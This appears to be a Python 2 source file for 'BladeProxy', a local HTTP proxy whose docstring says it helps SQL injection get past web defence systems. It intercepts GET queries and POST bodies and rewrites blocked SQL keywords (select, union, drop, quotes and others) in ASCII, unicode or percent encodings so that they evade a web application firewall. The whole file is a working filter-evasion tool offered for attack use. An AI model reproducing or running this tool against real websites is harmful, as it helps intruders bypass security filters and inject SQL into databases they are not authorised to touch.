./others/BladeProxy.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
 
__doc__ = """
                ####################################
                        BladeProxy 0.1.0
                This tool will help u in injection
                when some keywords
                are blocked by web defense system.
 
                made by: [email protected]
 
                usage:BladeProxy.py <port> <encodenum>
                encodenum:
                0:not encode
                1:assic encode
                2:unicode encode
                3:%% encode
                #####################################
 
"""
 
__version__ = "1.0"
encode_way = 0
#send_way = 0
senwords =['and',
              'select',
              'union',
              'declare',
              "'",
              'char',
              'exists',
              'insert',
              'create',
              'drop'
              ]
 
import BaseHTTPServer, select, socket, SocketServer, urlparse,re
 
class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
    __base = BaseHTTPServer.BaseHTTPRequestHandler
    __base_handle = __base.handle
 
    server_version = "BladeProxy/" + __version__
    rbufsize = 0                        # self.rfile Be unbuffered
 
    def handle(self):
        (ip, port) =  self.client_address
        if hasattr(self, 'allowed_clients') and ip not in self.allowed_clients:
            self.raw_requestline = self.rfile.readline()
            if self.parse_request(): self.send_error(403)
        else:
            self.__base_handle()
 
    def _connect_to(self, netloc, soc):
        i = netloc.find(':')
        if i >= 0:
            host_port = netloc[:i], int(netloc[i+1:])
        else:
            host_port = netloc, 80
        print "\t" "connect to %s:%d" % host_port
        try: soc.connect(host_port)
        except socket.error, arg:
            try: msg = arg[1]
            except: msg = arg
            self.send_error(404, msg)
            return 0
        return 1
 
    def do_CONNECT(self):
        soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            if self._connect_to(self.path, soc):
                self.log_request(200)
                self.wfile.write(self.protocol_version +
                                 " 200 Connection established\r\n")
                self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
                self.wfile.write("\r\n")
                self._read_write(soc, 300)
        finally:
            print "\t" "bye"
            soc.close()
            self.connection.close()
 
 
    def select_encode(self,s):
        print 'encode_way is '+str(encode_way)
        if encode_way ==1: #asc_encode 
            return self.asc_encode(s)
        elif encode_way ==2:#unicode_encode
            return self.unicode_encode(s)
        elif encode_way ==3:#halfper_encode
            return self.halfper_encode(s)
        elif encode_way ==0:#do not encode
            return s
    def do_encode(self,s):
        for senword in senwords:
            if re.search(senword,s) != None:
                encoded_senword = self.select_encode(senword)
                return s.replace(senword,encoded_senword)
            else:
                return s
 
    def asc_encode(self,s):
        ss = lambda s: ''.join(map(lambda c:"%%%X"%ord(c),s))
        return ss(s)
 
    def unicode_encode(self,s):
        ss = lambda s: ''.join(map(lambda c:"%%u00%X"%ord(c),s))
        return ss(s)
 
    def halfper_encode(self,s):
        ss = lambda s: ''.join(map(lambda c:"%%%%%%%c"% c,s))
        return ss(s)
 
    def do_POST(self):
        (scm, netloc, path, params, query, fragment) = urlparse.urlparse(
            self.path, 'http')
 
        if self.command == 'POST' and not self.headers.has_key('content-length'):
            self.error(400, "Missing Content-Length for POST method")
 
        length = int(self.headers.get('content-length', 0))
        #print 'lenth is'+ self.headers['content-length']
        if length >0:
            content = self.rfile.read(length)
            content = self.do_encode(content)
            self.headers['content-length'] = repr(len(content))
 
        soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            if self._connect_to(netloc, soc):
                self.log_request()
                soc.send("%s %s %s\r\n" % (
                    self.command,
                    urlparse.urlunparse(('', '', path, params, '', '')),
                    self.request_version))
                self.headers['Connection'] = 'close'
                del self.headers['Proxy-Connection']
                for key_val in self.headers.items():
                    soc.send("%s: %s\r\n" % key_val)
                soc.send("\r\n")
                soc.send(content)
                self._read_write(soc)
        finally:
            print "\t" "bye"
            soc.close()
            self.connection.close()
 
    def do_GET(self):
        (scm, netloc, path, params, query, fragment) = urlparse.urlparse(
            self.path, 'http')
        if query:
            query = self.do_encode(query)
            print 'after query is' +query
 
        if scm != 'http' or fragment or not netloc:
            self.send_error(400, "bad url %s" % self.path)
            return
        soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            if self._connect_to(netloc, soc):
                self.log_request()
                soc.send("%s %s %s\r\n" % (
                    self.command,
                    urlparse.urlunparse(('', '', path, params, query, '')),
                    self.request_version))
                self.headers['Connection'] = 'close'
                del self.headers['Proxy-Connection']
                for key_val in self.headers.items():
                    soc.send("%s: %s\r\n" % key_val)
                soc.send("\r\n")
                self._read_write(soc)
        finally:
            print "\t" "bye"
            soc.close()
            self.connection.close()
 
    def _read_write(self, soc, max_idling=20):
        iw = [self.connection, soc]
        ow = []
        count = 0
        while 1:
            count += 1
            (ins, _, exs) = select.select(iw, ow, iw, 3)
            if exs: break
            if ins:
                for i in ins:
                    if i is soc:
                        out = self.connection
                    else:
                        out = soc
                    data = i.recv(8192)
                    if data:
                        out.send(data)
                        count = 0
            else:
                print "\t" "idle", count
            if count == max_idling: break
 
    do_HEAD = do_GET
    #do_POST = do_GET
    do_PUT  = do_GET
    do_DELETE=do_GET
 
class ThreadingHTTPServer (SocketServer.ThreadingMixIn,
                           BaseHTTPServer.HTTPServer): pass
if __name__ == '__main__':
    from sys import argv
    if len(argv) == 1:
        print __doc__
    elif len(argv)== 3:
        encode_way = int(argv[2]);
        print "Any clients will be served..."
        BaseHTTPServer.test(ProxyHandler, ThreadingHTTPServer)
 

Back